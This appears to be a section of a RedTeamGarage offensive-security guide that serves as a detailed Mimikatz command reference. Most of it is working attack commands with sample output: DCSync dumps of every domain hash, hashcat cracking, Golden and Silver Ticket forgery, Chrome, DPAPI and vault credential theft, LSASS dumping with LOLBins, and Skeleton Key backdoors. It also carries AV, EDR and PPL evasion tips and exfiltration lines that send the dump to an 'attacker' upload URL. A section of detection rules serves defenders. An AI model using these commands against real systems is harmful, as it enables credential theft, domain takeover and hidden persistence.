Figure: lsadump::lsa /patch — NTLM hashes; lsadump::secrets — service account plaintext + auto-logon password



17 — LSADUMP::DCSYNC

DCSync: Pull Any Account's Credentials from Active Directory

DCSync is a technique that abuses the MS-DRSR (Directory Replication Service Remote Protocol) to impersonate a Domain Controller and request credential replication for any account. Unlike other dumps, DCSync does NOT touch LSASS — it makes legitimate LDAP/RPC calls to a DC and requests the target account's secrets directly.

DCSync requires the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions — held by Domain Admins, Enterprise Admins, and any account that has been granted DCSync rights (a common misconfiguration in large environments).

\$ lsadump::dcsync — Single Account

```
# DCSync for a specific account
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:corp.local /user:DA_jones

# DCSync against a specific DC
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt /dc:DC01.corp.local

# Output includes:
# Hash NTLM : 7b15b8b9c2b32f0b... ← the actual password hash
# aes256_hmac : 5e8c9b1d3f2a4e6c... ← AES key (use for opsec Kerb)
# aes128_hmac : 1a2b3c4d5e6f7a8b...

# DCSync can also be run from Linux with impacket (no Mimikatz needed):
impacket-secretsdump corp.local/Administrator:'W3lc0me@Corp2024!'@192.168.10.5
impacket-secretsdump corp.local/Administrator@192.168.10.5 -hashes :fc525c...
```



```
Administrator: mimikatz — lsadump::dcsync /user:krbtgt

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 1/15/2024 3:22:10 AM
Object Security ID : S-1-5-21-3623811015-3361044348-30300820-502
Object Relative ID : 502

Credentials:
Hash NTLM: 7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d
ntlm- 0: 7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d
lm - 0: aad3b435b51404eeaad3b435b51404ee

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 5e8c9b1d3f2a4e6c7d9b0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
aes128_hmac (4096) : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d

mimikatz # _
```

Figure: lsadump::dcsync /user:krbtgt — full output with NTLM hash, AES256/AES128 keys for Golden Ticket

18 — LSADUMP::DCSYNC /ALL

Full Domain Hash Dump — Every Account in the Domain

Adding /all to lsadump::dcsync replicates credentials for every account in the domain — equivalent to a full NTDS.dit extraction but performed entirely over the network using legitimate replication calls. Combined with /csv, the output is in a format ready for hashcat.

\$ lsadump::dcsync /all — Full Domain Dump

```
# Full domain dump — all accounts
mimikatz # lsadump::dcsync /domain:corp.local /all

# CSV format — perfect for hashcat
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# CSV output format: RID Username NTHash AdminCount
# 500 Administrator fc525c9683e8fe06... 1
# 502 krbtgt 7b15b8b9c2b32f0b... 0
# 1103 jsmith 3d8b2f4a6e9c1a7b... 0

# Save CSV output to file (use log command first):
mimikatz # log C:\Temp\domain_hashes.csv
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# Crack all domain hashes with hashcat:
hashcat -m 1000 domain_hashes.csv rockyou.txt -r best64.rule

# Extract only AdminCount=1 accounts (privileged users):
# Filter CSV: grep ',1$' domain_hashes.csv > da_hashes.csv
```

```
Administrator: mimikatz — lsadump::dcsync /all /csv

mimikatz # lsadump::dcsync /domain:corp.local /all /csv

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[rpc] Service : ldap | AuthnSvc : GSS_NEGOTIATE (9)

500\Administrator\fc525c9683e8fe067095ba2ddc9718891
501\Guest\aad3b435b51404eeaad3b435b51404ee0
502\krbtgt\7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d0
1103\j.smith\3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d0
1110\svc_mssql\9a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d0
1111\svc_backup\8f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c0
1112\svc_legacy\2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f0
1150\OA_jones\b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e41
1155\svc_deploy\c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f51
1000\DC01$\e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c0

[+] 247 accounts dumped

mimikatz # _
```

Figure: lsadump::dcsync /all /csv — 247 accounts dumped with RID, username, NT hash, AdminCount flag

RTG TIP

/all /csv is the fastest path to a full domain credential harvest — no NTDS.dit needed.

Filter for AdminCount=1 in the CSV to immediately identify privileged accounts.

DCSync is quieter than running Mimikatz on a DC — no need to touch LSASS.



19 — KERBEROS::GOLDEN

Golden Ticket — Forge a TGT for Any Account

A Golden Ticket is a forged Kerberos TGT signed with the krbtgt account's NTLM hash (or AES256 key). Because all DCs trust tickets signed by krbtgt, a Golden Ticket grants access to ANY service in the domain as ANY user — and is valid for up to 10 years. It is the ultimate domain persistence mechanism.



\$ kerberos::golden — Golden Ticket

```
# Prerequisites: krbtgt hash + domain SID
# Get krbtgt hash via DCSync:
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# Note the Hash NTLM: 7b15b8b9c2b32f0b...

# Get domain SID:
C:\> whoami /all (look for S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX)
# OR: mimikatz # lsadump::lsa /patch (SID shown in header)

# Forge Golden Ticket – inject into memory with /ptt
mimikatz # kerberos::golden
    /user:Administrator
    /domain:corp.local
    /sid:S-1-5-21-3623811015-3361044348-30300820
    /krbtgt:7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d
    /ptt

# Save ticket to file instead of injecting
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-3623811015-3361044348-30300820 \
    /krbtgt:7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d \
    /ticket:golden.kirbi

# Using AES256 (opsec safe – no RC4 downgrade detection):
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-3623811015-3361044348-30300820 \
    /aes256:5e8c9b1d3f2a4e6c7d9b0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b \
    /ptt

# Custom ticket options:
/id:500          → RID (500 = Administrator)
/groups:512,519  → Group membership (512=DA, 519=EA)
/startoffset:-10 → Start 10 mins ago (avoid clock skew issues)
/endin:600       → Valid for 600 minutes (10 hours, default)
/renewmax:10080  → Renewable for 10080 minutes (7 days)
```



```
Administrator: mimikatz — kerberos::golden (Golden Ticket)

mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/krbtgt:7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d /ptt

User      : Administrator
Domain    : corp.local (CORP)
SID       : S-1-5-21-3623811015-3361044348-30300820
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d - rc4_hmac_nt
Lifetime  : 12/1/2024 9:00:00 AM ; 12/1/2034 9:00:00 AM ; 12/1/2034 9:00:00 AM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Final Ticket Saved to file !
Golden ticket for 'Administrator @ corp.local' successfully submitted!

mimikatz # kerberos::list
[00000000] - 0x00000017 - rc4_hmac_nt
Start/End/MaxRenew: 12/1/2024 ; 12/1/2034 ; 12/1/2034
Server Name       : krbtgt/corp.local @ corp.local
Client Name       : Administrator @ corp.local
Flags             : 40e00000 forwardable renewable initial

mimikatz # _
```

Figure: kerberos::golden — forged TGT for Administrator, PAC signed, injected with /ptt; klist confirms 2034 expiry



20 — KERBEROS::SILVER

Silver Ticket — Forge a Service Ticket Without a TGT

A Silver Ticket is a forged service ticket (TGS) for a specific service, signed with the service account's or machine account's NTLM hash. Unlike Golden Tickets, Silver Tickets are created locally without any DC interaction — making them completely invisible to DC-side logging. The trade-off: they only work for the specific service they target.

\$ kerberos::silver — Silver Ticket

```
# Forge Silver Ticket for CIFS on DC01 (file access as any user)
# Requires DC01$ machine account NTLM hash
mimikatz # kerberos::golden
    /user:Administrator
    /domain:corp.local
    /sid:S-1-5-21-3623811015-3361044348-30300820
    /target:DC01.corp.local
    /service:cifs
    /rc4:e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c
    /ptt

# Common Silver Ticket service targets:
# /service:cifs      → File share access (\\server\share)
# /service:http      → Web application access
# /service:host      → Scheduled tasks, WMI, PSEXEC
# /service:rpcss     → WMI / DCOM
# /service:ldap      → LDAP queries (dcsync from silver ticket!)
# /service:mssqlsvc  → SQL Server access
# /service:wsman     → PowerShell remoting / WinRM
# /service:krbtgt    → This IS a Golden Ticket

# After injection – access the targeted service:
dir \\DC01.corp.local\C$
Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}

# Verify ticket:
mimikatz # kerberos::list
C:\> klist
```



RTG NOTE

Silver Tickets generate ZERO events on the DC — they never touch the KDC.

Requires the target service account's/machine account's NTLM hash.

LDAP Silver Ticket → run DCSync without any DCSync rights — stealthiest dump method.

21 — KERBEROS::PTT & KERBEROS::LIST

Ticket Injection, Listing & Purging

\$ kerberos::ptt, list, purge, ask

```
# Inject a .kirbi ticket into current session
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # kerberos::ptt [0;0012d4e4]-0-0-40e00000-Administrator@krbtgt-CORP.LOCAL.kirbi

# Inject from a directory (all .kirbi files)
mimikatz # kerberos::ptt C:\Temp\tickets\

# List all tickets in current session
mimikatz # kerberos::list
C:\> klist ← Windows built-in

# List tickets with /export flag (save to files)
mimikatz # kerberos::list /export

# Purge all Kerberos tickets from session
mimikatz # kerberos::purge
C:\> klist purge ← Windows built-in

# Ask for a new ticket (uses current credential)
mimikatz # kerberos::ask /target:cifs/DC01.corp.local

# Renew a TGT
mimikatz # kerberos::renew /ticket:ticket.kirbi
mimikatz # kerberos::renew /luid:0x12d4e4
```

RTG TIP

kerberos::purge before injecting a stolen ticket prevents conflicts with existing tickets.
kerberos::ptt with a TGT gives you transparent access — no need to specify credentials.
Use kerberos::list /export to save all tickets before clearing session for clean injection.

22 — DPAPI MODULE

Browser Passwords, WiFi Keys & Windows Vault Decryption

The dpapi module decrypts DPAPI-protected secrets using master keys retrieved from memory (sekurlsa::dpapi) or from a domain backup key. It covers Chrome/Edge saved passwords, WiFi PSK credentials, Windows Credential Manager, and any application using DPAPI for secret storage.

\$ dpapi — Full Module Reference

```
# ■■ Chrome / Edge saved passwords ████████████████████████████████████████████████████████████
```

```
mimikatz # dpapi::chrome
```

```
/in:"%localappdata%\Google\Chrome\User Data\Default>Login Data"
```

```
# Edge (Chromium-based)
```

```
mimikatz # dpapi::chrome
```

```
/in:"%localappdata%\Microsoft\Edge\User Data\Default>Login Data"
```

[illegible]

```
mimikatz # vault::cred /patch
```

```
# Or via PowerShell first to list WiFi profiles:
```

```
netsh wlan show profiles
```

```
netsh wlan export profile key=clear folder=C:\Temp
```

```
# Then use dpapi to decrypt exported XML keys
```

[illegible]

```
mimikatz # vault::list
```

```
mimikatz # vault::cred
```

```
# ■■ DPAPI master key operations
```

```
dir /a "%appdata%\Microsoft\Protect\<SID>\"
```

```
# Decrypt master key using user password:
```

```
mimikatz # dpapi::masterkey
```

```
/in:"%appdata%\Microsoft\Protect\S-1-5-21-...\<GUID>"
```

```
/password:W3lc0me@Corp2024!
```

```
mimikatz # lsadump::backupkeys /system:DC01.corp.local /export
```

```
mimikatz # dpapi::masterkey
```

```
/in:"%appdata%\Microsoft\Protect\...\<GUID>"
```

```
/pvk:ntds_capi_0_<dc_backup>.pvk
```



```
Administrator: mimikatz -- sekurlsa::dpapi + dpapi::chrome

mimikatz # sekurlsa::dpapi

Authentication Id : 0 ; 1233124
Session          : Interactive from 1
User Name        : jsmith
[00000000]
* GUID           : {a1b2c3d4-e5f6-7890-abcd-ef0123456789}
* Time           : 12/1/2024 8:45:00 AM
* MasterKey       : 4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b
* sha1(key)       : a1b2c3d4e5f67890abcdef01234567890abcdef01

mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"

URL      : https://outlook.office365.com/owa/
Username : jsmith@corp.com
Password : W3lc0me@Corp2024!

URL      : https://vpn.corp.local/
Username : jsmith
Password : VPNpass123!

URL      : https://github.com/login
Username : jsmith-corp
Password : GithubT0k3n!

3 credentials found.

mimikatz # _
```

Figure: sekurlsa::dpapi extracts master key; dpapi::chrome decrypts 3 saved passwords including O365 and VPN

23 — DUMPING LSASS WITHOUT RUNNING MIMIKATZ

External Methods: ProcDump, comsvcs.dll, Task Manager & More

Running Mimikatz directly on a target is often detected. An alternative approach is to dump the LSASS process memory to a file (.dmp) using legitimate tools, exfiltrate it, and parse offline on the attacker machine where AV is not present. The dump itself is less suspicious than Mimikatz, and offline parsing is invisible to EDR.

Method	Command	Detection Risk
Task Manager	Right-click lsass.exe → Create dump file	Low — built-in tool
Procdump	procdump.exe -ma lsass.exe lsass.dmp	Medium — Sysinternals
comsvcs.dll	rundll32 comsvcs.dll, MiniDump <PID> lsass.dmp full	Low — LOLBin
PowerShell	Out-Minidump -Process lsass -DumpFilePath lsass.dmp	Medium — scripting
SQLDumper.exe	sqldumper.exe <PID> 0 0x01100	Low — SQL LOLBin
createdump.exe	createdump.exe -u -f lsass.dmp <PID>	Low — .NET LOLBin
MiniDumpWriteDump	Custom C/C# code calling Win32 API directly	Low if custom

\$ LSASS Dump Methods

```
# Method 1: comsvcs.dll MiniDump (best LOLBin - no extra tools)
$Id = (Get-Process lsass).Id
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $Id C:\Temp\lsass.dmp full

# Method 2: Procdump (Sysinternals - may trigger AV)
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

# Method 3: SQLDumper (installed with SQL Server)
C:\Program Files\Microsoft SQL Server\...\Shared\SQLDumper.exe <PID> 0 0x01100

# Method 4: createdump.exe (.NET Framework helper - often whitelisted)
C:\Windows\Microsoft.NET\Framework64\v4.0...\createdump.exe -u -f lsass.dmp <PID>

# Exfiltrate the dump file:
# SMB: copy lsass.dmp \\192.168.10.99\share\
# Base64: [Convert]::ToBase64String([IO.File]::ReadAllBytes('lsass.dmp'))
# HTTP: Invoke-WebRequest -Uri http://attacker/upload -Method POST -InFile lsass.dmp
```

```
Administrator: Windows PowerShell — LSASS Dump Methods

PS C:\> # Method 1: Task Manager dump (GUI)
PS C:\> # Method 2: ProcDump
PS C:\> procdump.exe -ma lsass.exe lsass.dmp

ProcDump v11.0 - Sysinternals process dump utility
[09:22:11] Dump 1 initiated: .\lsass.dmp
[09:22:12] Dump 1 writing: Estimated dump file size is 65 MB.
[09:22:13] Dump 1 complete: 68 MB written in 2.2 seconds

PS C:\> # Method 3: PowerShell built-in
PS C:\> $p = Get-Process lsass; [System.Runtime.InteropServices]::...

PS C:\> # Method 4: comsvcs.dll MiniDump (LOLBin)
PS C:\> $lsasspid = (Get-Process lsass).Id
PS C:\> rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $lsasspid C:\Temp\lsass.dmp full

PS C:\> ls C:\Temp\lsass.dmp

Directory: C:\Temp

Mode                LastWriteTime         Length Name
----                -
-a-----    12/1/2024    9:22 AM           71303168 lsass.dmp

PS C:\> # Transfer lsass.dmp to attacker box then parse offline:
PS C:\> # mimikatz: sekurlsa::minidump lsass.dmp + sekurlsa::logonpasswords

PS C:\> _
```

Figure: PowerShell — comsvcs.dll MiniDump creates lsass.dmp (68MB); ready for offline Mimikatz parsing

24 — OFFLINE PARSING: SEKURLSA::MINIDUMP

Parse lsass.dmp on Your Attacker Machine

Once an LSASS dump file is obtained, it can be parsed offline on the attacker's machine (or a clean VM) using Mimikatz. This means AV/EDR on the target never sees Mimikatz touching LSASS — only the dump utility ran there.

\$ sekurlsa::minidump — Offline Parsing

```
# Load the dump file
mimikatz # sekurlsa::minidump lsass.dmp
# Output: Switch to MINIDUMP : 'lsass.dmp'

# Now run any sekurlsa command against the dump
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::tickets /export
mimikatz # sekurlsa::ekeys

# Switch back to live LSASS
mimikatz # sekurlsa::minidump
# (run with no argument to revert to live memory)

# Alternative: pypykatz (Python, runs on Linux — no Windows needed)
pip install pypykatz
pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump lsass.dmp --json > creds.json

# Alternative: Impacket secretsdump with dump file
impacket-secretsdump -system SYSTEM -ntds lsass.dmp LOCAL
```

```
Administrator: mimikatz — Offline lsass.dmp Parsing

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords

Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 1233124 (00000000:0012d4e4)
Session          : Interactive from 1
User Name        : Administrator
Domain           : CORP
Logon Server      : DC01
[m]sv :
[m] * NTLM       : fc525c9683e8fe067095ba2ddc971889
[m] * SHA1       : e3efcdf3f47e8ad23bb7c8e62a0696c4e394c682
[m]digest :
[m] * Password   : W3lc0me@Corp2024!
[m]kerberos :
[m] * Password   : W3lc0me@Corp2024!

Authentication Id : 0 ; 998 (00000000:000003e6)
User Name         : NETWORK SERVICE
Domain            : NT AUTHORITY
[m] * NTLM       : (null)

mimikatz # _
```

Figure: sekurlsa::minidump lsass.dmp — offline parse shows Administrator NTLM hash and plaintext password

RTG OPSEC

Offline parsing is the gold standard for evasion — Mimikatz never runs on the target.
pypykatz runs on Linux — parse on Kali with zero Windows exposure.
The dump file itself may trigger AV if saved to disk — encrypt or exfil immediately.

25 — TOKEN MODULE

Token Impersonation & Privilege Manipulation

\$ token Module — Impersonation Commands

```
# List all tokens on system (processes + threads)
mimikatz # token::list

# Elevate to SYSTEM (steal SYSTEM token from a SYSTEM process)
mimikatz # token::elevate

# Elevate to SYSTEM using specific domain/username
mimikatz # token::elevate /domainadmin

# Impersonate a specific user's token
mimikatz # token::elevate /user:DA_jones

# Impersonate by PID
mimikatz # token::elevate /process:4128

# Revert to original token
mimikatz # token::revert

# Show current token identity
mimikatz # token::whoami

# Run a command as another user's token
mimikatz # token::run /process:cmd.exe /user:DA_jones
```

RTG NOTE

token::elevate is required before lsadump::sam and lsadump::lsa.

token::elevate /domainadmin searches for a DA token among running processes.

If a DA has a process running on the box, token::elevate /domainadmin = instant DA.

26 — MISC MODULE

Skeleton Key, MemSSP, Patch, CMD & Persistence Tricks

Skeleton Key — Universal Domain Password Backdoor

The Skeleton Key attack patches the LSASS process on a Domain Controller to accept a master password ('mimikatz' by default) for ALL domain accounts, while also accepting the real password. This creates a persistent backdoor that survives until the DC is rebooted — no persistence mechanism needed.

\$ misc::skeleton — Skeleton Key

```
# Deploy Skeleton Key (must run ON the DC as DA)
mimikatz # misc::skeleton
# Output: Skeleton Key injected in LSASS !

# After injection – authenticate to ANY domain account with password 'mimikatz':
net use \\DC01\C$ /user:CORP\Administrator mimikatz
runas /user:CORP\DA_jones mimikatz

# Real passwords still work too – users don't notice

# Limitations:
# - Requires SYSTEM/DA rights + must be ON the target DC
# - Survives only until DC reboot (in-memory patch only)
# - Only works on writable DCs (not RODC)
# - Detected by AV/EDR – use carefully
```

MemSSP — Rogue SSP Credential Capture

27 — EVADING AV / EDR WHILE RUNNING MIMIKATZ

Bypassing Defences for Operational Success

Compiled Obfuscation & Custom Builds

- ◆ Compile Mimikatz from source with custom strings — change module names, version strings,
- ◆ Use Invoke-Mimikatz (PowerShell) — reflective loading in memory, never touches disk.
- ◆ Use mimikatz PE loader with custom PE header stripping.
- ◆ Use SafetyKatz — modified Mimikatz compiled to .NET and reflectively loaded.

Dump-and-Parse (Offline) Approach

- ◆ Dump LSASS with LOLBin (comsvcs.dll, createdump.exe) — no Mimikatz on target.
- ◆ Exfiltrate lsass.dmp and parse with pypykatz on Linux — completely off-target.
- ◆ Use Nanodump (EDR-aware LSASS dumper that bypasses PPL and ETW).
- ◆ Use SilentProcessExit via WerFault to create dump without direct LSASS access.

PPL Bypass — Protected Process Light

\$ PPL & Credential Guard Bypass

```
# Check if LSASS is running as PPL:
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL
# RunAsPPL = 1 → PPL enabled → standard Mimikatz fails

# PPL bypass methods:

# 1. mimidrv.sys — Mimikatz kernel driver (disables PPL)
mimikatz # !+          # Load mimidrv.sys driver
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords

# 2. PPLdump — userland PPL bypass (no driver)
PPLdump.exe lsass.exe lsass.dmp

# 3. EDRSandBlast — bypass PPL + EDR via kernel callbacks

# 4. Credential Guard bypass — requires kernel driver or VBS vuln
# Note: Credential Guard (VBS/HVCI) isolates LSASS in a VSM — much harder
```

Technique	Bypass Target	Detection Risk	Notes
-----------	---------------	----------------	-------



mimidrv.sys	PPL	HIGH	Kernel driver — often blocked by Secure Boot
PPLdump	PPL	MEDIUM	Userland, targets PPL via handle duplication
Offline dump (LOLBin)	AV signatures	LOW	Best general approach
pypykatz offline	EDR on target	NONE	Parse on attacker box — target never sees Mimikatz
Nanodump	PPL + ETW	LOW	Specifically designed for EDR evasion
SafetyKatz	AV signatures	MEDIUM	.NET reflective load — no disk artefact



28 — DETECTION: WHAT BLUE TEAMS SEE

Event IDs, Telemetry & SIEM Rules

Indicator	Event ID / Source	Trigger	Priority
SeDebugPrivilege use	4672 (Security)	privilege::debug success	HIGH
LSASS read handle	4656/4663 (Security)	sekurlsa:* — process open on lsass	CRITICAL
LSASS memory access	10 (Sysmon)	GrantedAccess 0x1010/0x1038/0x1ffff	CRITICAL
DCSync replication	4662 (Security)	DS-Replication-Get-Changes-All used	CRITICAL
SAM/SECURITY access	4661 (Security)	lsadump::sam / secrets	HIGH
Kerberos ticket forge	4769 (Security)	Unusual TGS requests from non-DC	HIGH
Golden Ticket use	4768/4769 (Security)	TGT with 10+ year lifetime	CRITICAL
New logon session	4624 Type 9 (Security)	sekurlsa::pth creates type 9 logon	HIGH
Token duplication	4648 (Security)	token::elevate steals SYSTEM token	MEDIUM
Skeleton Key	7045 (System)	LSASS process patched in memory	CRITICAL

Key Detection Queries



\$ Detection Rules

```
# Sysmon Rule 10 – LSASS memory access (catches Mimikatz)
<RuleGroup name='' groupRelation='or'>
  <ProcessAccess onmatch='include'>
    <TargetImage condition='end with'>lsass.exe</TargetImage>
    <GrantedAccess condition='is'>0xffffffff</GrantedAccess>
    <GrantedAccess condition='is'>0x1010</GrantedAccess>
    <GrantedAccess condition='is'>0x1038</GrantedAccess>
  </ProcessAccess>
</RuleGroup>

# Splunk – DCSync detection
index=wineventlog EventCode=4662
  ObjectType='*domainDNS*'
  Properties='*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*'
| where SubjectUserName!='*$'
| table _time, SubjectUserName, IPAddress

# KQL (Sentinel) – Golden Ticket detection (long lifetime)
SecurityEvent | where EventID == 4769
| where TicketOptions == '0x40810000'
| where ServiceName != 'krbtgt'
| where TicketEncryptionType == '0x17' // RC4 = suspicious
```



29 — COMPLETE COMMAND CHEAT SHEET

Every Mimikatz Command — Field Reference

STARTUP & PRIVILEGE

<code>privilege::debug</code>	Request SeDebugPrivilege — required for <code>sekurlsa::*</code>
<code>token::elevate</code>	Elevate to SYSTEM — required for <code>lsadump::sam/lsa</code>
<code>token::elevate /domainadmin</code>	Steal DA token from running DA process
<code>token::revert</code>	Revert to original token
<code>token::list</code>	List all available tokens on system
<code>token::whoami</code>	Show current token identity
<code>log C:\Temp\out.log</code>	Log all mimikatz output to file
<code>version</code>	Show Mimikatz version
<code>exit</code>	Exit Mimikatz

sekurlsa — LSASS MEMORY EXTRACTION

<code>sekurlsa::logonpasswords</code>	ALL credentials from ALL SSPs — the master dump
<code>sekurlsa::wdigest</code>	WDigest SSP — plaintext passwords if enabled
<code>sekurlsa::msv</code>	MSV1_0 NTLM hashes + SHA1 for all sessions
<code>sekurlsa::kerberos</code>	Kerberos SSP — plaintext credentials
<code>sekurlsa::tspkg</code>	TSPKG SSP — RDP/Terminal Services passwords
<code>sekurlsa::ssp</code>	Custom SSP credentials (injected capture)
<code>sekurlsa::livessp</code>	Microsoft Live account SSP credentials
<code>sekurlsa::cloudap</code>	Azure AD / Windows Hello cloud tokens
<code>sekurlsa::credman</code>	Windows Credential Manager entries
<code>sekurlsa::tickets</code>	List all Kerberos tickets in LSASS
<code>sekurlsa::tickets /export</code>	Export all Kerberos tickets as .kirbi files
<code>sekurlsa::ekeys</code>	AES256/AES128/RC4 Kerberos encryption keys
<code>sekurlsa::dpapi</code>	DPAPI master keys from memory
<code>sekurlsa::pth /user:U /domain:D /ntlm:HASH</code>	Pass-the-Hash — spawn process with NTLM



<code>sekurlsa::pth /user:U /domain:D /aes256:KEY</code>	Overpass-the-Hash — spawn with AES256
<code>sekurlsa::minidump lsass.dmp</code>	Load dump file for offline parsing

lsadump — SAM / LSA / DCSYNC

<code>lsadump::sam</code>	Local SAM — all local account NTLM hashes
<code>lsadump::sam /system:SYS /sam:SAM</code>	Offline SAM dump from registry hive files
<code>lsadump::lsa /patch</code>	LSA dump — patch method (all domain accounts)
<code>lsadump::lsa /inject</code>	LSA dump — inject method
<code>lsadump::lsa /patch /name:Admin</code>	LSA dump for specific username
<code>lsadump::secrets</code>	LSA Secrets — service passwords, auto-logon
<code>lsadump::secrets /system:S /security:S</code>	Offline secrets from hive files
<code>lsadump::dcsync /domain:D /user:U</code>	DCSync — pull one account from AD
<code>lsadump::dcsync /domain:D /all</code>	DCSync — all accounts in domain
<code>lsadump::dcsync /domain:D /all /csv</code>	DCSync all — CSV for hashcat
<code>lsadump::cache</code>	Cached domain credentials (DCC2 hashes)
<code>lsadump::backupkeys /system:DC /export</code>	Export domain DPAPI backup key
<code>lsadump::trust /patch</code>	Inter-domain trust account passwords
<code>lsadump::netsync</code>	DC replication credentials

kerberos — TICKET OPERATIONS

<code>kerberos::list</code>	List Kerberos tickets in current session
<code>kerberos::list /export</code>	Export all tickets to .kirbi files
<code>kerberos::ptt ticket.kirbi</code>	Inject .kirbi ticket (Pass-the-Ticket)
<code>kerberos::purge</code>	Delete all Kerberos tickets from session
<code>kerberos::ask /target:SPN</code>	Request a new TGS for a service
<code>kerberos::renew /ticket:T.kirbi</code>	Renew a TGT
<code>kerberos::golden /user:U /domain:D /sid:S /krbtgt:HASH /ptt</code>	Golden Ticket (RC4)
<code>kerberos::golden ... /aes256:KEY /ptt</code>	Golden Ticket (AES256 — opsec safe)
<code>kerberos::golden ... /ticket:out.kirbi</code>	Save golden ticket to file



<code>kerberos::golden /service:cifs /target:HOST /rc4:HASH /ptt</code>	Silver Ticket
<code>kerberos::tgt</code>	Show current TGT details

dpapi — DPAPI DECRYPTION

<code>dpapi::chrome /in:'Login Data'</code>	Decrypt Chrome saved passwords
<code>dpapi::chrome /in:'Login Data' /unprotect</code>	Chrome with CryptUnprotectData
<code>dpapi::cred /in:credfile</code>	Decrypt Windows Credential Manager file
<code>vault::list</code>	List Windows Vault entries
<code>vault::cred /patch</code>	Dump Windows Vault credentials
<code>dpapi::masterkey /in:MK /password:P</code>	Decrypt master key with user password
<code>dpapi::masterkey /in:MK /pvk:PVK</code>	Decrypt master key with domain backup key
<code>dpapi::blob /masterkey:MK /in:BLOB</code>	Decrypt any DPAPI blob
<code>dpapi::wifi /in:XML</code>	Decrypt WiFi profile XML

misc — PERSISTENCE & OTHER

<code>misc::skeleton</code>	Skeleton Key — universal DC password backdoor
<code>misc::memssp</code>	Inject rogue SSP — capture future logons
<code>misc::cmd</code>	Patch cmd.exe for unrestricted execution
<code>misc::wifi</code>	Dump saved WiFi passwords from WLAN API
<code>misc::detours</code>	Apply runtime function hooks
<code>misc::regsave</code>	Save HKLM\SAM + SYSTEM registry hives
<code>coffee</code>	Display coffee ASCII art (Easter egg)



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Democratize offensive security education — free, practical, no-nonsense.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.